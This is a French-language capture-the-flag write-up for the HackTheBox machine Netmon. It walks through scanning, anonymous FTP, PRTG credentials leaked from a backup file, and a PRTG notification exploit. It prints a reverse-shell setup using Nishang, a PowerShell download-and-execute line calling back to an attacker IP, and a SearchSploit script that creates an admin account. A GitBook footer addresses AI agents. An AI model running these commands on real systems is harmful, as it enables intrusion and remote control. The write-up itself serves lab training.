> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md).

# Compte rendu HackTheBox de Netmon

{% embed url="<https://app.hackthebox.com/machines/Netmon>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération FTP
* Fuite d'informations
* Divulgation d'identifiants de PRTG Network Monitor
* Exécution de commandes via les notifications PRTG
* Livraison d’un reverse shell PowerShell
  {% endhint %}

## Reconnaissance

Créez l’espace de travail et lancez le scan TCP complet :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts
```

<figure><img src="/files/bfd653c63fbb847033c90131bb5f875ef5df1a8c" alt=""><figcaption></figcaption></figure>

Exécutez le scan de services ciblés :

```bash
nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted
```

<figure><img src="/files/1d8e17ad33d93cad4a74554cde6ac8071fac1cf0" alt=""><figcaption></figcaption></figure>

## Énumération FTP

FTP autorise l’accès anonyme.

<figure><img src="/files/f99d341a6dbf93204cf141a2a77d6558d9096f29" alt=""><figcaption></figcaption></figure>

Le flag utilisateur est lisible via FTP dans le chemin du bureau de l’utilisateur.

<figure><img src="/files/91509dd836b1f938d98cfa785d1c4e816afff420" alt=""><figcaption></figcaption></figure>

## PRTG Network Monitor

Le port 80 expose un **PRTG Network Monitor** interface web.

<figure><img src="/files/329300a38bd1046f02156a280e0f68b1626bfc62" alt=""><figcaption></figcaption></figure>

Examinez le répertoire de configuration :

```
ProgramData/Paessler/PRTG Network Monitor/
```

<figure><img src="/files/6874eaf7d5b8d6d615c5f2ad0662b17308ac3ea0" alt=""><figcaption></figcaption></figure>

Le fichier de configuration de sauvegarde laisse fuiter des identifiants :

```
PRTG Configuration.old.bak
```

<figure><img src="/files/abecbcb46240d5e538e55de0aa4a5bbae123d8cb" alt=""><figcaption></figcaption></figure>

Identifiants récupérés :

* Nom d'utilisateur : `prtgadmin`
* Mot de passe : `PrTg@dmin2018`

<figure><img src="/files/67d7e6b53e1559638d9a9d196cc5aa3d8c28380c" alt=""><figcaption></figcaption></figure>

Comme le fichier est une ancienne sauvegarde, testez l’année mise à jour dans le mot de passe. L’accès est valide avec :

```
PrTg@dmin2019
```

<figure><img src="/files/a4b311570d03f3e9749961ea4f98834bd3d0ccae" alt=""><figcaption></figcaption></figure>

## RCE PRTG

Les notifications PRTG peuvent exécuter des commandes sur le serveur. Utilisez un script PowerShell reverse shell hébergé et déclenchez-le via une action de notification.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Téléchargez et préparez la charge utile PowerShell :

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
python3 -m http.server 80
```

Démarrez un écouteur :

```bash
rlwrap nc -nvlp 443
```

Dans PRTG, allez à `Setup > Account Settings > Notifications` et créez une action de notification qui télécharge et exécute le script hébergé.

<figure><img src="/files/1a0bf4f73af598076b8419b406effa97a8e6208c" alt=""><figcaption></figcaption></figure>

Modèle de commande :

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

Si le callback de téléchargement atteint le serveur HTTP mais que le shell ne revient pas, encodez le script PowerShell en Base64 UTF-16LE et exécutez-le avec `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

## Chemin d’exploitation automatisé

SearchSploit inclut un exploit PRTG qui crée un nouvel utilisateur administrateur lorsqu’on lui fournit un cookie authentifié valide.

```bash
searchsploit -m windows/webapps/46527.sh
```

Exécutez l’exploit avec l’URL cible et le cookie de session :

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

L’exploit crée :

* Nom d'utilisateur : `pentest`
* Mot de passe : `P3nT3st!`

<figure><img src="/files/438d7bf85e3af03c7173cba478701d14178ad34e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
